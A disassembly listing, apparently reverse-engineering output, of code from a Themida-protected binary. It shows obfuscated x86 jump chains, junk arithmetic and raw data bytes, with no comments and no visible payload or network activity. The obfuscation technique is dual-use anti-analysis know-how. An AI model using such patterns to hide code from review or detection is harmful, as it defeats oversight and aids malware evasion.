		pop	edi
		push	eax
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, ecx
		mov	eax, esi
		pop	esi
		jmp	loc_56B7BE
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 53555854h, 4BBh, 5BDD8900h, 2C8BE801h, 4C48124h, 57000000h
		dd 0E91B94BFh, 90F78162h, 2962E91Bh, 2CC2E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5627F6:				; CODE XREF: Themida_:0056CC73j
		sub	edx, 0BA34C9Dh
		jmp	loc_55A49E
; ---------------------------------------------------------------------------

loc_562801:				; CODE XREF: Themida_:00568DE2j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56BEF5
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 50h
		dd 5F066E3Bh, 12BA68h, 241C8900h, 42474FFh, 83241C8Bh
		dd 0F0E904C4h, 80FFFF8Ch, 685ADEC7h, 0
		dd 8A243C28h, 0C483243Ch, 80C7FE04h, 8350B7F7h,	148904ECh
		dd 0F8885024h, 8858C688h, 44E95AF4h, 66FFFF79h,	0E9243489h
		dd 0FFFF7CDAh
; ---------------------------------------------------------------------------

loc_562864:				; CODE XREF: Themida_:0056CDA4j
		and	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 4E844083h
		add	ebp, 4B0324B8h
		dec	ebp
		sub	ebp, 615C6E48h
		jmp	loc_5624A4
; ---------------------------------------------------------------------------
aZSzm		db '‡<$é§Œ',0
		dw 6600h
		dd 0E924248Bh, 0FFFF5FFCh
; ---------------------------------------------------------------------------

loc_562890:				; CODE XREF: Themida_:005607C2j
		push	esi
		mov	esi, 173328CDh
		and	esi, 18ED5002h
		push	6994h
		jmp	loc_569B89
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 0EC8CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5628B2:				; CODE XREF: Themida_:0055D6EEj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56300C
; ---------------------------------------------------------------------------
		dd 5278B551h, 0FFFCB3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5628C9:				; CODE XREF: Themida_:00563971j
		mov	ebp, [esp]
		jmp	loc_569D3E
; ---------------------------------------------------------------------------
		db 68h,	0EFh, 66h
		dd 0E95A3758h, 0CD5h
; ---------------------------------------------------------------------------

loc_5628DC:				; CODE XREF: Themida_:0056001Fj
		xor	eax, ebp
		pop	ebp
		or	ecx, eax
		jmp	loc_559654
; ---------------------------------------------------------------------------

loc_5628E6:				; CODE XREF: Themida_:0055FFE9j
		not	edx
		sub	edx, 0E448BCC5h
		jmp	loc_55BD9E
; ---------------------------------------------------------------------------
		db 83h
		dd 5C0104C4h, 0E9500424h, 0FFFFC7B1h, 0FF2434FFh, 83582434h
		dd 545004C4h, 0ACB2E9h,	5BDC8800h, 0B2AAEC80h, 8745E945h
		dd 0EC81FFFFh, 4, 0FF240C89h, 59042474h, 8B24048Fh, 1C892424h
		dd 2434FF24h, 6A6AE95Bh, 0EC81FFFFh, 4,	0BE243489h, 0CC42D71h
		dd 9CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_562951:				; CODE XREF: Themida_:00565623j
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_564E56
; ---------------------------------------------------------------------------

loc_562964:				; CODE XREF: Themida_:005647CAj
		add	edi, ecx
		add	edi, 44F26C63h
		add	edi, 133052D5h
		pop	ecx
		sub	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 0C268h
		dd 58526805h, 7E034805h, 58C33114h, 0BAE9DF01h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5629A3:				; CODE XREF: Themida_:005598DFj
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56B1E5
; ---------------------------------------------------------------------------

loc_5629C1:				; CODE XREF: Themida_:0056896Cj
		add	ebx, 21796F6Fh
		sub	ebx, 40BD7DCCh
		sub	esp, 4
		mov	[esp], ecx
		push	347Eh
		mov	[esp], ebx
		mov	ebx, 256D5423h
		mov	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55984A
; ---------------------------------------------------------------------------

loc_5629F0:				; CODE XREF: Themida_:005658E6j
		pop	esi
		sub	eax, 0BDD30FCh
		xor	eax, 1D6C58EFh
		shr	eax, 4
		dec	eax
		jmp	loc_56165A
; ---------------------------------------------------------------------------
		dd 8B243433h, 8F542424h, 0E9522404h, 0FFFFF5F9h, 60BFE381h
		dd 81435EDAh, 82600EEBh, 11E9814Ah, 154D362h, 11C181D9h
		dd 5B54D362h, 4BF57h, 0C1810000h, 469A1177h, 65E9F901h
		dd 5B00000Ch, 81E78957h, 4C7h, 4C78300h, 8B243C87h, 0BD552424h
		dd 4, 8464E9h
		db 0
; ---------------------------------------------------------------------------

loc_562A61:				; CODE XREF: Themida_:0056B1C5j
		mov	[esp], edx
		mov	edx, 357942C0h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_562674
; ---------------------------------------------------------------------------
		dd 0DEE9C801h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562A83:				; CODE XREF: Themida_:005667CBj
		dec	edx
		jmp	loc_56B115
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 24148B54h, 8104C483h, 4C2h, 167CE900h, 0C3810000h, 7B520786h
		dd 0EB81CB01h, 7B520786h, 0A8C38159h, 66116669h, 0D1E930FFh
		dd 33FFFF5Dh, 14312414h, 24143324h, 241C895Ch, 0C381E389h
		dd 4, 0FDFBE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562AD6:				; CODE XREF: Themida_:005638D5j
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56D093
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 9666E9h, 4C48100h, 0E9000000h, 2651h
; ---------------------------------------------------------------------------

loc_562B00:				; CODE XREF: Themida_:00563806j
		sub	ebp, 53AA6674h
		sub	ebp, esi
		push	edx
		push	ebx
		mov	ebx, 438D7C50h
		mov	edx, ebx
		pop	ebx
		xor	edx, 14A90FEEh
		xor	edx, 48E15CAh
		add	ebp, edx
		pop	edx
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55AE52
; ---------------------------------------------------------------------------

loc_562B2C:				; CODE XREF: Themida_:00560B8Cj
		mov	ecx, esp
		jmp	loc_566706
; ---------------------------------------------------------------------------

loc_562B33:				; CODE XREF: Themida_:0056A971j
		neg	edx
		not	edx
		sub	edx, 3F9F6216h
		sub	edx, 3BDE097Ch
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5655BB
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	6624248Bh, 0B3241C89h, 8468667Eh
		dd 14896616h, 8B22E924h, 0FE290000h, 13B5C681h,	34FF17DCh
		dd 0C4835F24h, 1C772104h, 0F312E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B8A:				; CODE XREF: Themida_:0056DA8Fj
		mov	edx, 766A2A0Eh
		push	edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55DE02
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0E8E9D587h, 81FFFFEAh, 4C1h, 2C18300h
		dd 0E9240C87h, 0B256h
; ---------------------------------------------------------------------------

loc_562BBC:				; CODE XREF: Themida_:0055B156j
		pop	ebx
		jmp	loc_564B5A
; ---------------------------------------------------------------------------

loc_562BC2:				; CODE XREF: Themida_:00563E6Aj
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7498200Eh
		and	ebp, 1FEF5AE0h
		sub	ebp, 9FC7D9Ah
		jmp	loc_562FDA
; ---------------------------------------------------------------------------

loc_562BE0:				; CODE XREF: Themida_:0056845Aj
		sub	ecx, ebx
		push	eax
		mov	eax, 7AD42167h
		jmp	loc_5681BA
; ---------------------------------------------------------------------------
		db 0B7h, 61h, 0
		dd 0E95B66F8h, 93CCh
; ---------------------------------------------------------------------------

loc_562BF8:				; CODE XREF: Themida_:00559E7Fj
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_5642D3
; ---------------------------------------------------------------------------

loc_562C09:				; CODE XREF: Themida_:0055BAA8j
		push	edi
		mov	edi, 4
		add	ecx, 22077AE0h
		add	ecx, edi
		sub	ecx, 22077AE0h
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56A7D6
; ---------------------------------------------------------------------------
		dd 63A3EA81h, 9FE95E85h, 68FFFFADh, 4D596F04h, 0FF7A4BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562C49:				; CODE XREF: Themida_:00560562j
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, eax
		jmp	loc_562F12
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E9522404h, 0AA5Eh, 0BD55C829h, 67FE196Dh
		dd 0FCE9E801h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562C77:				; CODE XREF: Themida_:0055B939j
		mov	ecx, 37BA7EB3h
		sub	ecx, edi
		jmp	loc_567C9E
; ---------------------------------------------------------------------------
		db 51h
		dd 185792B9h, 0E7A5BD55h, 0CD01E38Ch, 83CD8159h, 0F767F245h
		dd 81EDD1D5h, 2AF0DCEDh, 5DEB29FFh, 4337E9h
		db 0
; ---------------------------------------------------------------------------

loc_562CA9:				; CODE XREF: Themida_:0055B259j
		sub	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_56B73F
; ---------------------------------------------------------------------------
		dd 50241C89h, 8C078C68h, 35405860h, 7AC45F0Bh, 0FF9586E9h
		dd 962D5DFFh, 100145Ah,	0AEDEE9D8h, 2168FFFFh, 0E900005Bh
		dd 2CF2h, 0D488DA88h, 58E6885Ah, 0FF2434FFh, 1C8B2434h
		dd 0E1895124h, 30FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_562CF9:				; CODE XREF: Themida_:0056230Ej
		xor	eax, 9097A5F7h
		add	edi, 253A145Dh
		sub	edi, eax
		push	edx
		mov	edx, 5DEC1ADBh
		shl	edx, 8
		and	edx, 64CA0073h
		shr	edx, 5
		add	edx, 235D1C73h
		inc	edx
		push	ebp
		jmp	loc_561A33
; ---------------------------------------------------------------------------

loc_562D25:				; CODE XREF: Themida_:00563F7Fj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0A4D2AFDh
		jmp	loc_55E334
; ---------------------------------------------------------------------------
		db 0F6h, 0DCh, 80h
aCaSl		db 'Äc€Ä',0Bh,'él$',0
		align 2
		dw 34FFh
aStw		db '$é’w',0
		align 2

loc_562D4A:				; CODE XREF: Themida_:005596A8j
		sub	dword ptr [esp], 46D84D83h
		jmp	loc_56A62D
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 0E9000000h, 0FFFFD551h, 0C381EB01h, 1E407DE3h
		dd 241C875Dh, 243C335Ch, 0E9243C31h, 0FFFF94A5h, 769868h
		dd 24148900h, 0CB02FDBAh, 0E2E28116h, 0F737317Fh, 0FFEA81D2h
		dd 81FFFFFFh, 58EE10EAh, 72F9E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562DA2:				; CODE XREF: Themida_:0055BAF0j
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_55A0C4
; ---------------------------------------------------------------------------

loc_562DB2:				; CODE XREF: Themida_:00565753j
		push	2AB00ACFh
		pop	ebx
		push	26C4h
		mov	[esp], ecx
		push	ecx
		push	4E77h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_569198
; ---------------------------------------------------------------------------
		db 81h
		dd 0D92EFBC1h, 6358E92Ch, 8F5AFFFFh, 525C2404h,	0FFABD8E9h
		dd 4ED81FFh, 87000000h,	895C242Ch, 0E9502434h, 0FFFFA62Ah
		dd 11EA68h, 24148900h, 164C9CBAh, 5DEA8139h, 51CFE3E6h
		dd 0D36BAEB9h, 6D790568h, 0C8013F65h, 660BE9h, 5A66E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E26:				; CODE XREF: Themida_:005692B4j
		push	ebx
		jmp	loc_55D64E
; ---------------------------------------------------------------------------
aIS		db '‰<$éê',0
		align 4
		dd 89240C89h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2404895Ch
		dd 8904EC83h, 4812424h,	424h, 21E95800h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E5F:				; CODE XREF: Themida_:00567DF3j
		add	ebp, edx
		sub	ebp, 1BDA7FF0h
		jmp	loc_562F6A
; ---------------------------------------------------------------------------

loc_562E6C:				; CODE XREF: Themida_:00564D47j
		mov	ebx, 29EF109Bh
		or	ebx, 12074C81h
		push	eax
		mov	eax, 61CE4A6Eh
		neg	eax
		shr	eax, 8
		xor	eax, 3B716D22h
		sub	ebx, 5F873A15h
		sub	ebx, eax
		add	ebx, 5F873A15h
		pop	eax
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	0D86191Ah
		mov	eax, [esp]
		add	esp, 4
		xor	eax, edx
		jmp	loc_55C642
; ---------------------------------------------------------------------------

loc_562EBC:				; CODE XREF: Themida_:00561CFAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 12F1032Dh
		push	esi
		mov	esi, 0
		jmp	loc_56261A
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 5
		dd 42300505h, 2E8C111h,	0FFBA44E9h, 240431FFh, 5C240433h
		dd 8904EC83h, 0E589242Ch, 7BD5556h, 0BE4E2070h,	22A010B5h
		dd 465DEE31h, 498CE9h, 0F641B100h, 7AF0E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F12:				; CODE XREF: Themida_:00562C57j
		pop	eax
		sub	ebx, 46D07B88h
		jmp	loc_5601A9
; ---------------------------------------------------------------------------
aT_rsZ		db 'T_Ré',0Dh,'‡',0
		align 2

loc_562F26:				; CODE XREF: Themida_:005677B3j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_56BDC0
; ---------------------------------------------------------------------------
		db 66h,	50h, 9Ch
		dd 0FF594BE9h, 0B1055EFFh, 29213328h, 28B12DF0h, 83052133h
		dd 2D4AF856h, 21A466F4h, 964F5205h, 4AC6E926h, 3C870000h
		dd 0C7FCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F6A:				; CODE XREF: Themida_:00562E67j
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55F1A0
; ---------------------------------------------------------------------------

loc_562F7E:				; CODE XREF: Themida_:0055E4F6j
		mov	eax, 72DC1DE7h
		jmp	loc_56A36F
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0BB5304C4h, 41577A32h, 34ACB81h, 0F3813B35h
		dd 132F41ADh, 9291E9h
		db 0
; ---------------------------------------------------------------------------

loc_562FA5:				; CODE XREF: Themida_:00560630j
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56DD03
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EEE9242Ch
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562FCF:				; CODE XREF: Themida_:0055E3A8j
		push	esi
		mov	esi, 4
		jmp	loc_55E2BB
; ---------------------------------------------------------------------------

loc_562FDA:				; CODE XREF: Themida_:00562BDBj
		add	ebp, 0F5747D9Eh
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		jmp	loc_56CAE1
; ---------------------------------------------------------------------------
		dw 11B8h
		dd 0E950F501h, 0FFFFB6D7h, 0D0E1EF81h, 0FB01A10Ch, 4C3815Fh
		dd 0E9000000h, 0FFFF65C0h
; ---------------------------------------------------------------------------

loc_56300C:				; CODE XREF: Themida_:005628BBj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, 3314203h
		shl	edx, 7
		sub	edx, 5249F913h
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_56D449
; ---------------------------------------------------------------------------

loc_563030:				; CODE XREF: Themida_:0055AE78j
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 115F74A3h
		jmp	loc_559F26
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0BB0F665Ch, 0E99C2404h, 0FFFF583Ch
; ---------------------------------------------------------------------------

loc_563050:				; CODE XREF: Themida_:0055D03Aj
		mov	ebp, esp
		push	ebx
		mov	ebx, 23DE36FBh
		xor	ebx, 23DE36FFh
		add	ebp, ebx
		jmp	loc_5607AA
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0A1h
		dd 0E9486ACEh, 0FFFF9C3Dh, 24048B66h, 6356E9h, 0FFC60100h
		dd 56582434h, 0C681E689h, 4, 0E904C683h, 0FFFF96D4h, 54243C89h
		dd 5F2434FFh, 4C481h, 51680000h, 89000011h, 0ACBA2414h
		dd 526F6A2Eh, 5A2414F7h, 4A05EAC1h, 409EC281h, 0B85068BDh
		dd 92BE10DDh, 0E958C201h, 0FFFFDBBFh, 4EC81h, 14890000h
		dd 0EF885324h, 515BFA88h, 0E9D48850h, 8A77h
; ---------------------------------------------------------------------------

loc_5630E0:				; CODE XREF: Themida_:00569FF0j
		mov	[esp], edx
		push	eax
		mov	eax, 5B5E4A2Bh
		mov	edx, 0BCA2C1DCh
		jmp	loc_55C529
; ---------------------------------------------------------------------------
		db 80h
		dd 29E918EBh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5630FB:				; CODE XREF: Themida_:00562180j
		add	esp, 2
		dec	bh
		xor	bh, 19h
		sub	cl, bh
		mov	ebx, [esp]
		jmp	loc_560886
; ---------------------------------------------------------------------------

loc_563110:				; CODE XREF: Themida_:00561E34j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_559759
; ---------------------------------------------------------------------------
		dw 8BBFh
		dd 811C7B27h, 256AC0E7h, 0D7CF817Bh, 5511CC03h,	6F1BC3BDh
		dd 5DEF0161h, 8ABCF81h,	0FAE90453h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56313F:				; CODE XREF: Themida_:00564F4Cj
		mov	[esp], ebx
		push	edx
		push	5E170FFCh
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		dec	edx
		xor	edx, 5E170FF9h
		mov	ebx, edx
		pop	edx
		add	edx, 4C101183h
		add	edx, ebx
		jmp	loc_565942
; ---------------------------------------------------------------------------

loc_563175:				; CODE XREF: Themida_:0055C895j
		pop	esp
		mov	[esp], edi
		push	1
		pop	edi
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		jmp	loc_558DAC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4892424h, 56F6E924h,	0B850FFFFh, 4, 8994E9h,	24048100h
		dd 4, 0F7E9555Bh, 0C1FFFFB9h, 0E9C102E9h, 6DC18108h, 0E9FFEB00h
		dd 35B8h, 5FFE015Dh, 8672E94Eh,	0EDB90000h, 814F8453h
		dd 8453E9F1h, 59CB014Fh, 4BA52h, 0D3290000h, 0FFB7B4E9h
		dd 6DA668FFh, 81591282h, 0D64BBCC1h, 0E9CA01DBh, 177h
		dd 0E1814949h, 10A229E1h, 2D98E9h
		db 0
; ---------------------------------------------------------------------------

loc_563205:				; CODE XREF: Themida_:005665BAj
		pop	edi
		jmp	loc_55E9AA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF6D58E9h, 2931BFFFh, 0FD294FD3h, 0E9EB015Fh, 0FFFF5867h
; ---------------------------------------------------------------------------

loc_563220:				; CODE XREF: Themida_:0055E9CBj
		add	edi, 38C92FCAh
		pop	ebp
		sub	edi, 0D798CCC1h
		sub	ecx, edi
		pop	edi
		pop	ebp
		mov	eax, ecx
		pop	ecx
		jmp	loc_5691B8
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 0FFFF8D30h, 0E904C483h, 8A23h
; ---------------------------------------------------------------------------

loc_56324C:				; CODE XREF: Themida_:005682CBj
		push	2688h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_56A8A6
; ---------------------------------------------------------------------------
		dd 1504D828h, 4EC81h, 1FE90000h, 53FFFF71h, 4BBh, 5BDE0100h
		dd 0E9243487h, 0FFFFDCE8h, 295DEA89h, 45E95AD1h, 8FFFF8Ch
		dd 0ABB3E9F5h, 0EE010000h, 2434875Dh, 241C335Ch, 33241C31h
		dd 248B241Ch, 2B17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5632AA:				; CODE XREF: Themida_:0055F7EFj
		add	edx, 115F74A3h
		add	dword ptr [edx], 1
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4

loc_5632D1:				; CODE XREF: Themida_:00565D2Bj
		push	3EC9h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55C545
; ---------------------------------------------------------------------------
		db 83h
		dd 0BAE904C4h, 83000036h, 0FF042404h, 0E95F2434h, 3BC4h
		dd 50FFE981h, 0C1815155h, 38982C42h, 7D94C181h,	0C1016ED4h
		dd 0FFCB54E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563315:				; CODE XREF: Themida_:0055C216j
		add	edi, 1
		jmp	loc_55A9C1
; ---------------------------------------------------------------------------
		dd 0F681EED1h, 68564D6Bh, 8101EE83h, 0FFFFFFEEh, 0A1E953FFh
		dd 0B1FFFF59h, 7AF18071h, 0C26B050h, 0FEC0FEC0h, 0E95366C0h
		dd 65Eh
; ---------------------------------------------------------------------------

loc_56334C:				; CODE XREF: Themida_:005655B6j
		xor	ebx, 40670EA6h
		pop	edi
		shl	ebx, 3
		dec	ebx
		xor	ebx, 0B352FDC6h
		add	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_56DA31
; ---------------------------------------------------------------------------
aYs8		db 'Yé 8',0
		dd 5BDA8900h, 815AD601h, 4C6h, 4EC8100h, 89000000h, 74FF2434h
		dd 34FF0424h, 89515E24h, 4C181E1h, 81000000h, 4C1h, 240C3300h
		dd 33240C31h, 8F5C240Ch, 248B2404h, 2434FF24h, 7C9C6858h
		dd 0E2E90000h, 57FFFF84h, 0FF62E8E9h, 2BE56FFh,	0E96A841Bh
		dd 2C50h, 4E981h, 0C870000h, 1C895C24h,	52E38924h, 4EC81h
		dd 79E90000h, 54FFFFA7h, 8124048Fh, 42404h, 20E90000h
		dd 8100000Ch, 0B042444h, 816B0F63h, 5004246Ch, 5F06A837h
		dd 6824048Fh, 6905h, 0E9240489h, 0FFFF6A70h
; ---------------------------------------------------------------------------

loc_56341C:				; CODE XREF: Themida_:00563C86j
		mov	ebx, 5F6F556Eh
		xor	ebx, 18AA16E9h
		shr	ebx, 6
		jmp	loc_56DA2A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 5C240C87h, 105A68h, 24148900h, 4BAh
		dd 0BABE5600h, 81699C43h, 8965EFF6h, 0F1CE8135h, 0C142B353h
		dd 0F68104EEh, 249D2359h, 0E3EE8146h, 29EB164Bh, 0D5015EF5h
		dd 5479E9h
		db 0
; ---------------------------------------------------------------------------

loc_563475:				; CODE XREF: Themida_:00565C09j
		push	esi
		mov	esi, 209C7155h
		sub	ebx, 47D83C35h
		jmp	loc_55B3C0
; ---------------------------------------------------------------------------
		dw 43B3h
		dd 525BD828h, 0FF962CE9h, 4B9FFh, 0C3810000h, 66E25D7Eh
		dd 0EB81CB29h, 66E25D7Eh, 241C8759h, 240C895Ch,	168h, 240C8B00h
		dd 5E5868h, 24048900h, 24048B54h, 4C481h, 67E90000h, 0FFFFFFD5h
		dd 835F2434h, 0B5E904C4h, 8BFFFF53h, 0C4812404h, 4, 5024048Bh
		dd 405E089h, 0E9000000h, 8F15h,	7C9B68h, 83B1E900h, 0E0C1FFFFh
		dd 0EA2D03h, 0E8C155D2h, 2E0C108h, 283CC02Dh, 7633E903h
		dd 0C481FFFFh, 4, 5659CE01h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 34895C24h, 2474FF24h, 24348B04h, 1AE9E9h, 1CB15100h
		dd 4EE0E9h, 4C38100h, 81000000h, 4EBh, 241C3300h, 33241C31h
		dd 895C241Ch, 0C87243Ch, 51D1F724h, 42474FFh, 24048F59h
		dd 82B0E9h, 5C0B2D00h, 2C8B0593h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56157D
; ---------------------------------------------------------------------------

loc_56358A:				; CODE XREF: Themida_:0056D95Dj
		sub	ebx, ecx
		pop	ecx
		push	dword ptr [ebx]
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55CD4E
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0C3E3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5635A6:				; CODE XREF: Themida_:0056D511j
		sub	esp, 4
		jmp	loc_564AF0
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 25h
		dd 8139E951h, 0FD6A21CAh, 11C6E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5635C2:				; CODE XREF: Themida_:0056AF77j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, 66804D5Eh
		add	ebx, ecx
		add	ebx, 66804D5Eh
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 6E687613h
		jmp	loc_563D24
; ---------------------------------------------------------------------------
		dd offset dword_4D9AC8+49A0h
		align 4
		dd 0B8240489h, 169E2EEAh, 4F12C381h, 6FE931EAh,	66FFFF9Dh
		dd 5124048Bh, 134BE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563616:				; CODE XREF: Themida_:0056D408j
		pop	ebp
		mov	edi, ecx
		pop	ecx
		mov	ebx, edi
		pop	edi
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_55A4B1
; ---------------------------------------------------------------------------
		dw 6664h
		dd 6866028Bh, 89665FE7h, 10E92404h, 5E000058h, 0FFAA91E9h
		dd 6AE95BFFh, 0B9000033h, 3966766Bh, 667669BDh,	59CD3139h
		dd 34FFEB01h, 0A0E95D24h, 89000072h, 2434FFD6h,	4C4815Ah
		dd 1000000h, 0FF042474h, 0E95E2434h, 0FFFF5239h
; ---------------------------------------------------------------------------

loc_563678:				; CODE XREF: Themida_:0056D5B0j
		mov	esp, [esp]
		jmp	loc_56826E
; ---------------------------------------------------------------------------
		dd 81F2015Dh, 0DC0723C2h, 59C28125h, 513FA81Eh,	0DB420768h
		dd 0E9815955h, 4146E61Ch, 0D21C281h, 0E95131D2h, 8404h
		dd 1177E981h, 34FF469Ah, 0C4835F24h, 4EC8304h, 89240489h
		dd 405E0h, 0EC830000h, 1DB9E904h, 0D7F70000h, 0FF7643E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5636D1:				; CODE XREF: Themida_:0056883Aj
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55A9AD
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0C82CF91h, 0E959CE89h, 6297h, 7A9668h, 242C8900h, 36D6B951h
		dd 6BBD3834h, 310AC365h, 83BA59CDh, 0E99E559Eh,	0FFFF92B7h
; ---------------------------------------------------------------------------

loc_563714:				; CODE XREF: Themida_:0055FB29j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55E592
; ---------------------------------------------------------------------------

loc_56371F:				; CODE XREF: Themida_:00561047j
		xor	cl, 11h
		jmp	loc_55AB25
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812404h, 4, 5C24048Fh,	0E9240C89h, 0FFFFF4FFh
; ---------------------------------------------------------------------------

loc_563740:				; CODE XREF: Themida_:0055ED83j
		mov	ebx, [esp]
		add	esp, 4
		or	ecx, eax
		pop	eax
		push	edx
		mov	edx, 0B7F6F915h
		sub	ecx, edx
		jmp	loc_56C68D
; ---------------------------------------------------------------------------

loc_563759:				; CODE XREF: Themida_:0056189Cj
		push	eax
		push	esp
		pop	eax
		jmp	loc_56CB4C
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 680224C7h, 977EE976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

